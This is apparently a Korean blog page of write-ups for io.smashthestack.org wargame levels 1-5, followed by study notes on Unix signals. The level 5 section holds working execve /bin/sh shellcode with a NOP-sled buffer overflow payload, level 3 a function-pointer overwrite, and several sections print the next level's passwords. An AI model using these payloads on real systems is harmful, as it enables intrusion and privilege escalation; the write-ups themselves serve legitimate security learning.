Search results for 'before I die'

  1. 2010.01.19 -- level5 8
  2. 2010.01.18 -- level4 8
  3. 2010.01.18 -- level3
  4. 2010.01.18 -- level2
  5. 2010.01.18 -- level1
  6. 2009.12.09 -- about Signal
  7. 2009.12.04 -- pythonchallenge level16
  8. 2009.12.03 -- pythonchallenge level 15
  9. 2009.12.02 -- Advanced Programming in the Unix Environment
  10. 2009.11.27 -- APUE 7장 연습문제

level5

2010. 1. 19. 05:47

level5 는 소스가 공개되어 있네요. 소스부터 살펴봤습니다.

level5@io:~$ cd /levels
level5@io:/levels$ cat ./level5.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

        char buf[128];

        if(argc < 2) return 1;

        strcpy(buf, argv[1]);

        printf("%s\n", buf);

        return 0;
}
level5@io:/levels$ ./level5
level5@io:/levels$ ./level5 AAAAAAAA
AAAAAAAA




BOF 군요. 바이너리도 한번 살펴봤습니다.

Dump of assembler code for function main:
0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0xa8,%esp                   스택을 168 만큼 확장
0x080483bd <main+9>:    and    $0xfffffff0,%esp
0x080483c0 <main+12>:   mov    $0x0,%eax
0x080483c5 <main+17>:   sub    %eax,%esp
0x080483c7 <main+19>:   cmpl   $0x1,0x8(%ebp)               agrc는 ebp+8에 위치
0x080483cb <main+23>:   jg     0x80483d9 <main+37>
0x080483cd <main+25>:   movl   $0x1,0xffffff74(%ebp)
0x080483d7 <main+35>:   jmp    0x8048413 <main+95>
0x080483d9 <main+37>:   mov    0xc(%ebp),%eax           argv는 ebp+12에 위치  
0x080483dc <main+40>:   add    $0x4,%eax
0x080483df <main+43>:   mov    (%eax),%eax
0x080483e1 <main+45>:   mov    %eax,0x4(%esp)
0x080483e5 <main+49>:   lea    0xffffff78(%ebp),%eax        ebp-136의 주소를 eax로
0x080483eb <main+55>:   mov    %eax,(%esp)
0x080483ee <main+58>:   call   0x80482d4 <strcpy@plt>
0x080483f3 <main+63>:   lea    0xffffff78(%ebp),%eax
0x080483f9 <main+69>:   mov    %eax,0x4(%esp)
0x080483fd <main+73>:   movl   $0x8048524,(%esp)
0x08048404 <main+80>:   call   0x80482b4 <printf@plt>
0x08048409 <main+85>:   movl   $0x0,0xffffff74(%ebp)
0x08048413 <main+95>:   mov    0xffffff74(%ebp),%eax
0x08048419 <main+101>:  leave
0x0804841a <main+102>:  ret

argv[1]의 값이 ebp-136의 주소로 들어가는걸로 봐서 return address 는 140byte를 채우고 난 다음부터 일거라 예상했습니다.

쉘코드는 wowhacker 달고나님이 쓰신 "buffer_overflow_foundation_pub"를 참고해서 만들어봤습니다.


"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3" 

만들어진 쉘코드를 아래 코드로 테스트 했습니다만 작동하지 않았습니다.

char shell[] ="\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3";

void main()
{
        int *ret;
        ret =(int *)&ret + 2;
        *ret = shell;
}




혹시나 하는 마음에 만들어진 바이너리를 디버깅해보니..

Dump of assembler code for function main:
0x08048324 <main+0>:    lea    0x4(%esp),%ecx
0x08048328 <main+4>:    and    $0xfffffff0,%esp
0x0804832b <main+7>:    pushl  0xfffffffc(%ecx)
0x0804832e <main+10>:   push   %ebp
0x0804832f <main+11>:   mov    %esp,%ebp
0x08048331 <main+13>:   push   %ecx
0x08048332 <main+14>:   sub    $0x10,%esp
0x08048335 <main+17>:   lea    0xfffffff8(%ebp),%eax
0x08048338 <main+20>:   add    $0x1c,%eax
0x0804833b <main+23>:   mov    %eax,0xfffffff8(%ebp)
0x0804833e <main+26>:   mov    0xfffffff8(%ebp),%edx
0x08048341 <main+29>:   mov    $0x8049580,%eax
0x08048346 <main+34>:   mov    %eax,(%edx)
0x08048348 <main+36>:   add    $0x10,%esp
0x0804834b <main+39>:   pop    %ecx
0x0804834c <main+40>:   pop    %ebp
0x0804834d <main+41>:   lea    0xfffffffc(%ecx),%esp
0x08048350 <main+44>:   ret

스택을 할당하는데 차이가 있어서 return address를 찾지 못하는 것이 이유 같네요.
따라서 리턴 어드레스를 쉘코드로 덮어 씌우고자 "+2" 값을 증가시켰습니다.

(return address가 ebp+4 의 위치에 있지 않았습니다. 값을 1씩 증가시키면서 확인해보았습니다.)

ret =(int *)&ret + 7;

다 준비됐으니 이제 넘치게 해보겠습니다.

처음엔 [Shellcode] [AAAA.....] [Shellcode address]  이렇게 해보고자 했지만 되질 않더군요.

level5@io:/levels$ ./level5 `perl -e 'print "\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3","A"x95,"\x30\xde\xff\xbf"'`
°
 ™Rh//shh/bin‰ãRS‰áÍ€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0Þÿ¿
Segmentation fault



어떻게 할까 고민하다가 구글링해보니 \x90을 이용한 방법이 있었습니다


[NOPNOPNOP...] [Shell code] [NOP address]  

return address를 NOP 중 어딘가로 지정해주면 흘러가다가 마지막엔 Shellcode가 실행.


./level5 `perl -e 'print "\x90"x95,"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3","\x48\xde\xff\xbf"'`

level5@io:/levels$ ./level5 `perl -e 'print "\x90"x95,"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8L$ƒäðÿqüU‰åQ1ÀPh//shh/bin‰ãPS‰á‰Â°x5d\aüÃHÞÿ¿\xfc\xc3","\x48\xde\xff\xbf"'`
sh-3.1$ id                        Í€Y]
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5)
sh-3.1$ cat /home/level6/.pass
hur9ivke   > mobjy2we


  흠.. exploit 를 NOP + shellcode + NOP`s address 형태로 입력했을때 희안한 증상이
생기더군요.
예를 들어 NOP의 시작 어드레스가 ebp-0x88 에 위치해 있을때 이 주소가 0xbfffdc20
 이라고 하면
NOP`s address를 0xbfffdc20 으로 입력했을 때 세그 폴트가 발생하길래 확인해봤더
니 입력한대로
값이 들어가지 않고 이상한 값이 들어가 있었습니다.

혹시나 해서 0xbfffdc21 로 입력했더니 잘 입력이
되긴 했지만 역시 세그 폴트가 발생했습니다.
이것도 역시 입력한 쉘코드의 내용이 바뀌어 있었습니다.
결국 argv의 주소를 던져줬더니 쉘이
떨어지긴 했습니다만 이런 현상이 생기는 이유가 궁금하네요.

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org

level4

2010. 1. 18. 15:59


 달랑 system함수로 id 만 실행하는 바이너리네요. 환경변수를 이용해 볼까하고
 PATH를 바꿔주고 /tmp 에 가보니 이미 id 라는 쉘을 실행하는 바이너리가 있었습니다.


.pass를 보기전에 환경변수를 다시 셋팅~





 

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org

level3

2010. 1. 18. 15:45
level3@io:/levels$ ./level3
Segmentation fault


level3 를 실행했더니 위와같이 세그멘테이션 폴트가 발생합니다.
인자를 넣어보았습니다.



level3@io:/levels$ ./level3 AAAAAAAA
Address of hmm: 0x804847f



hmm 의 주소가 0x804847f 라고 나오는 걸로 봐서 이주소가 힌트가 될거라 생각되네요.
함수에 대한 심볼을 살펴보았더니..

level3@io:/levels$ gdb level3
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) info func
All defined functions:

Non-debugging symbols:
0x08048318  _init
0x08048340  execl@plt
0x08048350  strlen@plt
0x08048360  __libc_start_main@plt
0x08048370  printf@plt
0x08048380  memset@plt
0x08048390  __gmon_start__@plt
0x080483c4  call_gmon_start
0x080483f0  __do_global_dtors_aux
0x08048430  frame_dummy
0x08048464  good
0x0804847f  hmm
0x080484af  main
0x080485b0  __libc_csu_fini
0x08048600  __libc_csu_init
0x08048653  __i686.get_pc_thunk.bx
0x08048660  __do_global_ctors_aux
0x08048690  _fini
(gdb)



함수 hmm 이 있습니다.

(gdb) disas hmm
Dump of assembler code for function hmm:
0x0804847f <hmm+0>:     push   %ebp
0x08048480 <hmm+1>:     mov    %esp,%ebp
0x08048482 <hmm+3>:     sub    $0x18,%esp
0x08048485 <hmm+6>:     movl   $0x80486c8,(%esp)
0x0804848c <hmm+13>:    call   0x8048370 <printf@plt>
0x08048491 <hmm+18>:    movl   $0x0,0x8(%esp)
0x08048499 <hmm+26>:    movl   $0x80486ce,0x4(%esp)
0x080484a1 <hmm+34>:    movl   $0x80486d1,(%esp)
0x080484a8 <hmm+41>:    call   0x8048340 <execl@plt>
0x080484ad <hmm+46>:    leave
0x080484ae <hmm+47>:    ret
End of assembler dump.
(gdb)

printf가 찍는 문자열을 확인해보았습니다.

gdb) x/s 0x080486c8
0x80486c8 <_IO_stdin_used+24>:   "Win.\n"

Win 이라네요. 아무래도 0x0804847f의 함수 포인터를 어딘가에 덮어 씌우면 될거 같습니다.
해보는김에 good도 확인해봤습니다.

(gdb) disas good
Dump of assembler code for function good:
0x08048464 <good+0>:    push   %ebp
0x08048465 <good+1>:    mov    %esp,%ebp
0x08048467 <good+3>:    sub    $0x8,%esp
0x0804846a <good+6>:    mov    0x8(%ebp),%eax
0x0804846d <good+9>:    mov    %eax,0x4(%esp)
0x08048471 <good+13>:   movl   $0x80486b4,(%esp)
0x08048478 <good+20>:   call   0x8048370 <printf@plt>
0x0804847d <good+25>:   leave
0x0804847e <good+26>:   ret
End of assembler dump.
(gdb) x/s 0x080486b4
0x80486b4 <_IO_stdin_used+4>:    "Address of hmm: %p\n"

이녀석이 원래 호출되는 함수군요.
main 함수를 디스어셈블 해볼까요


0x080484af <main+0>:    push   %ebp
0x080484b0 <main+1>:    mov    %esp,%ebp
0x080484b2 <main+3>:    sub    $0x58,%esp
0x080484b5 <main+6>:    and    $0xfffffff0,%esp
0x080484b8 <main+9>:    mov    $0x0,%eax
0x080484bd <main+14>:   sub    %eax,%esp
0x080484bf <main+16>:   movl   $0x0,0xfffffff4(%ebp)              
0x080484c6 <main+23>:   mov    0xfffffff4(%ebp),%eax
0x080484c9 <main+26>:   lea    0x0(,%eax,4),%edx
0x080484d0 <main+33>:   mov    0x80497f0,%eax
0x080484d5 <main+38>:   cmpl   $0x0,(%eax,%edx,1)           
0x080484d9 <main+42>:   jne    0x80484dd <main+46>
0x080484db <main+44>:   jmp    0x8048524 <main+117>                    
0x080484dd <main+46>:   mov    0xfffffff4(%ebp),%eax
0x080484e0 <main+49>:   lea    0x0(,%eax,4),%edx
0x080484e7 <main+56>:   mov    0x80497f0,%eax
0x080484ec <main+61>:   mov    (%eax,%edx,1),%eax
0x080484ef <main+64>:   mov    %eax,(%esp)
0x080484f2 <main+67>:   call   0x8048350 <strlen@plt>
0x080484f7 <main+72>:   mov    %eax,0x8(%esp)
0x080484fb <main+76>:   movl   $0x0,0x4(%esp)
0x08048503 <main+84>:   mov    0xfffffff4(%ebp),%eax
0x08048506 <main+87>:   lea    0x0(,%eax,4),%edx
0x0804850d <main+94>:   mov    0x80497f0,%eax
0x08048512 <main+99>:   mov    (%eax,%edx,1),%eax
0x08048515 <main+102>:  mov    %eax,(%esp)
0x08048518 <main+105>:  call   0x8048380 <memset@plt>
0x0804851d <main+110>:  lea    0xfffffff4(%ebp),%eax
0x08048520 <main+113>:  incl   (%eax)
0x08048522 <main+115>:  jmp    0x80484c6 <main+23>
0x08048524 <main+117>:  movl   $0x8048464,0xffffffec(%ebp)
0x0804852b <main+124>:  mov    0xc(%ebp),%eax
0x0804852e <main+127>:  add    $0x4,%eax
0x08048531 <main+130>:  mov    (%eax),%eax
0x08048533 <main+132>:  mov    %eax,(%esp)
0x08048536 <main+135>:  call   0x8048350 <strlen@plt>
0x0804853b <main+140>:  cmp    $0x28,%eax
0x0804853e <main+143>:  ja     0x8048553 <main+164>
0x08048540 <main+145>:  mov    0xc(%ebp),%eax
0x08048543 <main+148>:  add    $0x4,%eax
0x08048546 <main+151>:  mov    (%eax),%eax
0x08048548 <main+153>:  mov    %eax,(%esp)
0x0804854b <main+156>:  call   0x8048350 <strlen@plt>
0x08048550 <main+161>:  mov    %eax,0xfffffff0(%ebp)
0x08048553 <main+164>:  movl   $0x0,0xfffffff4(%ebp)
0x0804855a <main+171>:  mov    0xfffffff4(%ebp),%eax
0x0804855d <main+174>:  cmp    0xfffffff0(%ebp),%eax
0x08048560 <main+177>:  jle    0x8048564 <main+181>
0x08048562 <main+179>:  jmp    0x8048592 <main+227>                         
0x08048564 <main+181>:  lea    0xffffffc8(%ebp),%eax
0x08048567 <main+184>:  mov    %eax,%ecx
0x08048569 <main+186>:  add    0xfffffff4(%ebp),%ecx
0x0804856c <main+189>:  mov    0xc(%ebp),%edx
0x0804856f <main+192>:  add    $0x4,%edx
0x08048572 <main+195>:  mov    0xfffffff4(%ebp),%eax
0x08048575 <main+198>:  add    (%edx),%eax
0x08048577 <main+200>:  movzbl (%eax),%eax
0x0804857a <main+203>:  mov    %al,(%ecx)
0x0804857c <main+205>:  cmpl   $0x23,0xfffffff4(%ebp)
0x08048580 <main+209>:  jg     0x804858b <main+220>
0x08048582 <main+211>:  lea    0xffffffc8(%ebp),%eax
0x08048585 <main+214>:  add    0xfffffff4(%ebp),%eax
0x08048588 <main+217>:  movb   $0x41,(%eax)
0x0804858b <main+220>:  lea    0xfffffff4(%ebp),%eax
0x0804858e <main+223>:  incl   (%eax)
0x08048590 <main+225>:  jmp    0x804855a <main+171>
0x08048592 <main+227>:  movl   $0x804847f,0xffffffc4(%ebp)
0x08048599 <main+234>:  mov    0xffffffc4(%ebp),%eax
0x0804859c <main+237>:  mov    %eax,(%esp)
0x0804859f <main+240>:  mov    0xffffffec(%ebp),%eax
0x080485a2 <main+243>:  call   *%eax
0x080485a4 <main+245>:  mov    $0x0,%eax
0x080485a9 <main+250>:  leave
0x080485aa <main+251>:  ret
0x080485ab <main+252>:  nop
0x080485ac <main+253>:  nop
0x080485ad <main+254>:  nop
0x080485ae <main+255>:  nop
0x080485af <main+256>:  nop



중간중간에 섞여있는 이런 표현들이 헷갈리네요

0x080484c9 <main+26>:   lea    0x0(,%eax,4),%edx
0x080484d5 <main+38>:   cmpl   $0x0,(%eax,%edx,1)
0x080484ec <main+61>:   mov    (%eax,%edx,1),%eax

call %eax 가 결국 함수 포인터를 호출하는 부분일테니.. 이곳에 브레이크 포인트를 걸어봤습니다.


(gdb) b *main+243
Breakpoint 1 at 0x80485a2
(gdb) r AAAAAAAAAAAA
Starting program: /levels/level3 AAAAAAAAAAAA

Breakpoint 1, 0x080485a2 in main ()
(gdb) info reg esp
esp            0xbfffdcf0       0xbfffdcf0




esp를 확인하고 스택을 들여다보니 다음과 같네요.

(gdb) x/50x 0xbfffdcf0
0xbfffdcf0:     0x0804847f      0x00000000      0x00000033      0x00ebd80e
0xbfffdd00:     0x00f87ff4      0x00f862e8      0xbfffdd18      0x0804847f
0xbfffdd10:  0x41414141  0x41414141  0x41414141  0x08048341
0xbfffdd20:     0x00000002      0xbfffddc4      0xbfffdd48      0x08048619
0xbfffdd30:     0x00e64c8c      0x08048464    0x0000000c      0x0000000d
0xbfffdd40:     0x00000000      0x00fc0cc0      0xbfffdd98      0x00e6eea8
0xbfffdd50:     0x00000002      0xbfffddc4      0xbfffddd0      0x00000000
0xbfffdd60:     0x00f87ff4      0x00000000      0x00fc0cc0      0xbfffdd98
0xbfffdd70:     0xbfffdd50      0x00e6ee6d      0x00000000      0x00000000
0xbfffdd80:     0x00000000      0x00fb6090      0x00e6eded      0x00fc0ff4
0xbfffdd90:     0x00000002      0x080483a0      0x00000000      0x080483c1
0xbfffdda0:     0x080484af      0x00000002      0xbfffddc4      0x08048600
0xbfffddb0:     0x080485b0      0x00fb6c40



덮어 씌워야 하는 곳은 0x08048464 (good)의 함수 포인터 입니다. 따라서 36byte만큼 채우고 hmm의
함수 포인터를 던져줍니다.


level3@io:/levels$ ./level3 `perl -e 'print "A"x36,"\x7f\x84\x04\x08"'`
Win.
sh-3.1$ cd /home/level4
sh-3.1$ cat .pass
dun8malu   >  iazki1ud--> 1ZwMe9q1nDC9

음.. 다시 풀고 보니 왠지 뽀록으로 푼거 같네요. -0-



 

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org

level2

2010. 1. 18. 15:17

level2@io:/levels$ ./level2
Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, 13, 21...
The 4th through the 7th numbers would give you 581321


level2 를 실행했을때 위와 같은 메세지가 나옵니다. gdb로 붙으려고 해도 심볼테이블이 없다네요.  
구글에 1,2,3,5,8,13,21을 검색했더니 파보나치 수열이랍니다. 파보나치 수열에서 39번째에서
42번째를 붙여서 입력해보았습니다.


 
102334155 N : 39
 165580141 N : 40
 267914296 N : 41
 433494437 N : 42




level2@io:/levels$ ./level2 102334155165580141267914296433494437
Win.
sh-3.1$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2)

sh-3.1$ cd /home/level3
sh-3.1$ cat .pass
duf2dido      > okviql9o --> f9esfdy8T6Hd


'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level1  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org

level1

2010. 1. 18. 15:11

level1@io:~$ cd /levels
level1@io:/levels$ ls
level1     level11.c     level13    level15.c     level16.pass  level18.c  level20  level3.c  level5.c  level7.c  level9.c
level10    level12       level14    level15.pass  level17       level19    level21  level4    level6    level8
level10.c  level12.c     level14.c  level16       level17.c     level19.c  level22  level4.c  level6.c  level8.c
level11    level12.pass  level15    level16.c     level18       level2     level3   level5    level7    level9


위와같이 levels 디렉토리에 바이너리들이 레벨 별로 있습니다.
level1을 실행해보았습니다.

level1@io:/levels$ ./level1
Usage: ./level1 <password>

evel1@io:/levels$ gdb ./level1
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:    lea    0x4(%esp),%ecx
0x080483f8 <main+4>:    and    $0xfffffff0,%esp
0x080483fb <main+7>:    pushl  0xfffffffc(%ecx)
0x080483fe <main+10>:   push   %ebp
0x080483ff <main+11>:   mov    %esp,%ebp
0x08048401 <main+13>:   push   %edi
0x08048402 <main+14>:   push   %ecx
0x08048403 <main+15>:   sub    $0x30,%esp
0x08048406 <main+18>:   mov    %ecx,0xffffffe0(%ebp)
0x08048409 <main+21>:   movl   $0x80485c8,0xfffffff4(%ebp)     
 
0x08048410 <main+28>:   mov    0xffffffe0(%ebp),%eax       
0x08048413 <main+31>:   cmpl   $0x2,(%eax)                      이부분은 if(argc<2) { printf("Usage: %s <password>\n");}
0x08048416 <main+34>:   je     0x8048439 <main+69>             argc가 2면 <main+69>로 점프
0x08048418 <main+36>:   mov    0xffffffe0(%ebp),%edx
0x0804841b <main+39>:   mov    0x4(%edx),%eax
0x0804841e <main+42>:   mov    (%eax),%eax
0x08048420 <main+44>:   mov    %eax,0x4(%esp)
0x08048424 <main+48>:   movl   $0x80485d4,(%esp)
0x0804842b <main+55>:   call   0x804832c <
printf@plt>
0x08048430 <main+60>:   movl   $0x1,0xffffffe4(%ebp)
0x08048437 <main+67>:   jmp    0x80484b2 <main+190>
0x08048439 <main+69>:   mov    0xfffffff4(%ebp),%eax
0x0804843c <main+72>:   mov    $0xffffffff,%ecx
0x08048441 <main+77>:   mov    %eax,0xffffffdc(%ebp)
0x08048444 <main+80>:   mov    $0x0,%al
0x08048446 <main+82>:   cld   
0x08048447 <main+83>:   mov    0xffffffdc(%ebp),%edi
0x0804844a <main+86>:   repnz scas %es:(%edi),%al
0x0804844c <main+88>:   mov    %ecx,%eax
0x0804844e <main+90>:   not    %eax
0x08048450 <main+92>:   lea    0xffffffff(%eax), edx              
0x08048453 <main+95>:   mov    0xffffffe0(%ebp),%ecx
0x08048456 <main+98>:   mov    0x4(%ecx),%eax
0x08048459 <main+101>:  add    $0x4,%eax
0x0804845c <main+104>:  mov    (%eax),%ecx
0x0804845e <main+106>:  mov    %edx,0x8(%esp)               .
0x08048462 <main+110>:  mov    0xfffffff4(%ebp),%eax
0x08048465 <main+113>:  mov    %eax,0x4(%esp)
0x08048469 <main+117>:  mov    %ecx,(%esp)

0x0804846c <main+120>:  call   0x804830c <strncmp@plt>      strncmp 함수의 인자 edx, eax, ecx
0x08048471 <main+125>:  test   %eax,%eax
0x08048473 <main+127>:  jne    0x804849f <main+171>
0x08048475 <main+129>:  movl   $0x80485ea,(%esp)
0x0804847c <main+136>:  call   0x80482fc <puts@plt>
0x08048481 <main+141>:  movl   $0x0,0x8(%esp)
0x08048489 <main+149>:  movl   $0x80485ef,0x4(%esp)
0x08048491 <main+157>:  movl   $0x80485f2,(%esp)
0x08048498 <main+164>:  call   0x80482ec <execl@plt>
0x0804849d <main+169>:  jmp    0x80484ab <main+183>
0x0804849f <main+171>:  movl   $0x80485fa,(%esp)
0x080484a6 <main+178>:  call   0x80482fc <puts@plt>
0x080484ab <main+183>:  movl   $0x0,0xffffffe4(%ebp)
0x080484b2 <main+190>:  mov    0xffffffe4(%ebp),%eax
0x080484b5 <main+193>:  add    $0x30,%esp
0x080484b8 <main+196>:  pop    %ecx
0x080484b9 <main+197>:  pop    %edi
0x080484ba <main+198>:  pop    %ebp
0x080484bb <main+199>:  lea    0xfffffffc(%ecx),%esp
0x080484be <main+202>:  ret   
0x080484bf <main+203>:  nop   
End of assembler dump.



strncmp 함수가 호출되기 전에 브레이크 포인트를 설정한 후 프로그램에 인자를 줘서 실행합니다

(gdb) break *main+117
Breakpoint 1 at 0x8048469
(gdb) r AAAAA
Starting program: /levels/level1 AAAAA

Breakpoint 1, 0x08048469 in main ()


(gdb) info reg
eax            0x80485c8        134514120
ecx            0xbfffde8a       -1073750390
edx            0xb      11

ebx            0xec9ff4 15507444
esp            0xbfffdcd0       0xbfffdcd0
ebp            0xbfffdd08       0xbfffdd08
esi            0x0      0
edi            0x80485d4        134514132
eip            0x8048469        0x8048469 <main+117>
eflags         0x200282 [ SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51



위의 내용을 따라 함수 호출을 유추해서 주소의 문자열을 찍어보았습니다.

strncmp(0xbfffde8a, 0x80485c8, 11);

(gdb) x/s 0xbfffde8a
0xbfffde8a:      "AAAAA"
(gdb) x/s 0x80485c8
0x80485c8 <_IO_stdin_used+4>:    "omgpassword"


패스워드를 입력 후 홈 디렉토리로 가서 ,pass 파일의 내용을 확인 :$

level1@io:/levels$ ./level1 omgpassword
Win.
sh-3.1$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1)

sh-3.1$ cd /home/level2
sh-3.1$ cat .pass
ef4artie    >  ep4kbyqe----> WE5aVWRwYPhX

다시 풀어볼까 해서 끄적대는데.. 패스워드가 다 바뀌어 있네요.

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org

about Signal

2009. 12. 9. 12:06
Signal은 소프트웨어적인 interrupt로서 비동기적인 사건을 처리하는 수단이다.

    프로세스의 입장에서 보면 Signal은 아무때나 발생한다.
    프로세스에서 그냥 변수 하나를 판정하는 것만으로는 신호가 발생했는지의
    여부를 파악할 수 없다. 대신, 프로세스는 커널에게 이런 신호가 발생하면 이런 일을
    수행하라고 알려주어야 한다.

    신호가 발생했을 때 수행되는 일을 신호의 처분(disposition)
또는 신호에 연관된 행동
    이라고 부른다. 프로세스가 신호를 처분하는 방식은 크게
세가지이다,

    1) 신호를 무시한다. 대부분의 신호들을 무시하는 것이 가능하지만, SIGKILL과 SIGSTOP은
    그럴수 없다. 이 두 신호를 무시할 수 없는 이유는 커널과 슈퍼사용자가 임의의 프로세스를
    임의로 죽이거나 멈출 수 있도록 하기 위한 데 있다.

    2) 신호를 잡는다(catch) 이를 위해서는 커널에게 신호 발생 시 호출될 할수를 알려주어야 한다.
    그 함수에서는 신호 발생 조건을 처리하는 데 필요한 어떠한 일도 할 수 있다.

    3) 기본 행동이 적용되게 한다. 모든 신호는 기본행등을 가지고 있다. 대부분의 신호들의
    기본행동은 프로세스를 종료 시키는 것이다.

   signal 함수

    #include <signal.h>
    void (*signal(int signo, void(*func)(int)))(int);
    반환 값 : 성공 시 신호의 이전 행동 오류시 SIG_ERR

    signo 인수에는 위에 있는 신호 이름들중  하나를 넣는다.

    func 인수로는
    a) SIG_IGN 상수나
    b) SIG_DFL 상수
    c) 신호 발생 시 호출될 함수의 주소를 넣을 수 있다.
   
    SIG_IGN을 지정하는 것은 signo 로 지정된 신호를 무시하도록 시스템에게 알려주는 것에 해당한다.
    SIG_DFL을 지정하면 신호 발생 시 신호의 기본행동이 수행된다.
    신호 발생 시 호출될 함수의 주소를 지정하는 것은 프로세스가 해당 신호를 잡겠다 라고
    시스템에게 알려주는 것이다. 그러한 함수를 signal handler 또는 signal-catching function 이라고
    불린다.

    signal 함수의 원형에서 보듯이 이 함수는 2개의 인수를 받는다. 반환값은 아무것도 돌려주지 않는
    함수를 가리키는 포인터이다. signal 함수으 첫인수 signo는 정수이고 둘째 인수는 정수 인수를 하나
    받고 아무것도 돌려주지 않는 함수를 가리키는 포인터이다. signal 이 돌려주는 함수 포인터가 가리키는
    함수는 하나의 정수 인수를 받는다.  좀더 풀어서 말하면 하나의 signal handler 함수는 하나의 정수
    인수를 받고 아무것도 돌려주지 않는다. signal을 호출해서 신호 처리부를 설정할 때 둘째 인수에는
    그러한 신호 처리부를 가라키는 포인터를 넣는다. 이때 signal의 반환값은 이전에 설정되었던 신호
    처리부를 가리키는 포인터이다.

    신호 집합

    여러 개의 신호를 신호 집합(signal set) 으로 표현하느 자료 형식이 존재한다. 그리고 이러한 신호
    집합을 사용 또는 조작하는 여러 함수들이 있다. 예를 들어 sigprocmask 함수는 이 집합에 포함되어
    있는 신호들을 전달하지 말라고 커널에게 알려준다. 이 신호 집합을 조작하는 함수들은 5가지 이다.

    #include <signal.h>
    int sigemptyset(sigset_t *set);
    int sigfillset(sigset_t *set);
    int sigaddset(sigset_t *set, int signo);
    int sigdelset(sigset_t *set, int signo);
    반환 값 : 성공 시 0, 오류시 -1 - 네 함수 전부

    int sigismember(const sigset_t *set, int signo);
    반환 값 : 참이면 1, 거짓이면 0, 오류 시 -1

    sigemptyset 함수는 set이 가리키는 신호 집합을 빈 집합으로 만든다. 즉 신호 집합에서 모든
    신호를 제외시킨다.
    sigfillset 함수는 모든 신호를 신호 집합에 포함시킨다.
